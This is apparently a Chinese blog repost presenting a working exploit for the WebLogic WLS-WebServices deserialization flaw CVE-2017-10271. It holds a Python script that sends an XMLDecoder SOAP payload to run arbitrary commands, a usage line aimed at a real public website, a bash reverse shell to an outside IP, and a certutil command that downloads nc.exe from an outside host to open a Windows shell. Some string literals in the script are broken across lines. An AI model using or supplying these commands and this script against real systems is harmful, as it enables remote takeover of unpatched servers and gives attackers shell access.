• WebLogic WLS-WebServices组件反序列化漏洞—Linux可执行反弹一句话版本


    //linux版本执行反弹一句话:

    CVE-2017-10271_linux.py http://www.sohu.com:80/
    /bin/sh -i >/dev/tcp/210.73.xx.1/8000 0<&1 2>&1

    //win版本的利用方式:

    我给个提示,下载exe程序,反弹一个cmdshell回来操作:

    certutil -urlcache -split -f http://210.73.xx/cqjtzhywxt/images/nc.exe c:/windows/temp/nc.exe
    import requests
    import sys
    
    url_in = sys.argv[1]
    payload_url = url_in + "/wls-wsat/CoordinatorPortType"
    payload_header = {'content-type': 'text/xml'}
    
    
    def payload_command (command_in):
        html_escape_table = {
            "&": "&amp;",
            '"': "&quot;",
            "'": "&apos;",
            ">": "&gt;",
            "<": "&lt;",
        }
        command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
        payload_1 = "<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    " 
                    "   <soapenv:Header> " 
                    "       <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
    " 
                    "           <java version="1.8.0_151" class="java.beans.XMLDecoder"> 
    " 
                    "               <void class="java.lang.ProcessBuilder"> 
    " 
                    "                  <array class="java.lang.String" length="3">" 
                    "                      <void index = "0">                       " 
                    "                          <string>/bin/bash</string>                 " 
                    "                      </void>                                    " 
                    "                      <void index = "1">                       " 
                    "                          <string>-c</string>                  " 
                    "                      </void>                                    " 
                    "                      <void index = "2">                       " 
                    + command_filtered + 
                    "                      </void>                                    " 
                    "                  </array>" 
                    "                  <void method="start"/>" 
                    "                  </void>" 
                    "            </java>" 
                    "        </work:WorkContext>" 
                    "   </soapenv:Header>" 
                    "   <soapenv:Body/>" 
                    "</soapenv:Envelope>"
        return payload_1
    
    def do_post(command_in):
        result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
    
        if result.status_code == 500:
            print "Command Executed 
    "
        else:
            print "Something Went Wrong 
    "
    
    
    
    print "***************************************************** 
    " 
           "****************   Coded By 1337g  ****************** 
    " 
           "*  CVE-2017-10271 Blind Remote Command Execute EXP  * 
    " 
           "***************************************************** 
    "
    
    while 1:
        command_in = raw_input("Eneter your command here: ")
        if command_in == "exit" : 
                exit(0)
        do_post(command_in)
  • 相关阅读:
    提交按钮变灰
    解析spring启动加载dubbo过程
    shiro的SecurityUtis
    spring集成shiro登陆流程(下)
    spring集成shiro登陆流程(上)
    shiro的DelegatingFilterProxy怎么找到ShiroFilterFactoryBean
    sql多表关联
    android常用控件
    android控件之EditText
    浅议iOS网络数据解析
  • 原文地址:https://www.cnblogs.com/pt007/p/11856874.html
Copyright © 2020-2023  润新知